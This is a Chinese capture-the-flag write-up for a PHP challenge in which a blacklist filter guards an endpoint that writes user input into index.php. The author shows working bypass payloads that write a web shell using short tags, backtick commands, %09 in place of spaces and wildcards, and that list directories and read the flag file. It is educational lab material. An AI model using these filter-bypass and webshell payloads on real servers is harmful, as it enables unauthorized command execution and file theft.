BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??

Posted Aninock

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??相关的知识,希望对你有一定的参考价值。

<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
    if(preg_match("/\'| |_|php|;|~|\\\\^|\\\\+|eval|{|}/i",$input)){
        // if(preg_match("/\'| |_|=|php/",$input)){
        die(\'hacker!!!\');
    }else{
        return $input;
    }
}

function waf($input){
  if(is_array($input)){
      foreach($input as $key=>$output){
          $input[$key] = waf($output);
      }
  }else{
      $input = check($input);
  }
}

$dir = \'sandbox/\' . md5($_SERVER[\'REMOTE_ADDR\']) . \'/\';
if(!file_exists($dir)){
    mkdir($dir);
}
switch($_GET["action"] ?? "") {
    case \'pwd\':
        echo $dir;
        break;
    case \'upload\':
        $data = $_GET["data"] ?? "";
        waf($data);
        file_put_contents("$dir" . "index.php", $data);
}
?>

代码审计

check是个 黑名单过滤

waf是调用check对数组检测

最后是get传参,传入action的值有两种情况,

传入pwd打印目录

action=pwd

action=upload

可以上传data到index.php

 


 

 

思路很简单了上传一句话木马即可

正则过滤了:“/\'| |_|php|;|~|\\\\^|\\\\+|eval|{|}/i"

<?=`ls`?>

看上去过滤很多实际上不是什么都没过滤吗。。。

这里访问pwd下的路径

<?=`ls%09/`?>

 

<?=`cat%09/f*`?>

 

 

 


本质上是个简单题目

实际上准备写一道存储式xss,但是死活收不到cookie,环境貌似有问题

先随便找了到300人的题目,但是没想到这么简单

 

但是还是总结一下吧,首先过滤了php,短标签即可

<?=***?>

空格过滤了%09啥的都可以绕过

至于目标文件文件名带空格,不能用%09,通配符绕过


 

另外一个小知识点:

a?b:c 三目运算符,没啥好说的

a?:b a为真返回 否则返回b

a??b a存在(不为null)返回a,否则返回b

 

以上是关于BUU-日刷-[红明谷CTF 2021]write_shell-call_简单绕过和??的主要内容,如果未能解决你的问题,请参考以下文章

BUUCTF-[红明谷CTF 2021]write_shell

BUUCTF-[红明谷CTF 2021]write_shell

Java安全-Java In CTF([红明谷CTF 2021]JavaWeb[红明谷CTF 2021]JavaWeb)

Java安全-Java In CTF([红明谷CTF 2021]JavaWeb[红明谷CTF 2021]JavaWeb)

[红明谷CTF 2021]EasyTP

[红明谷CTF 2021]JavaWeb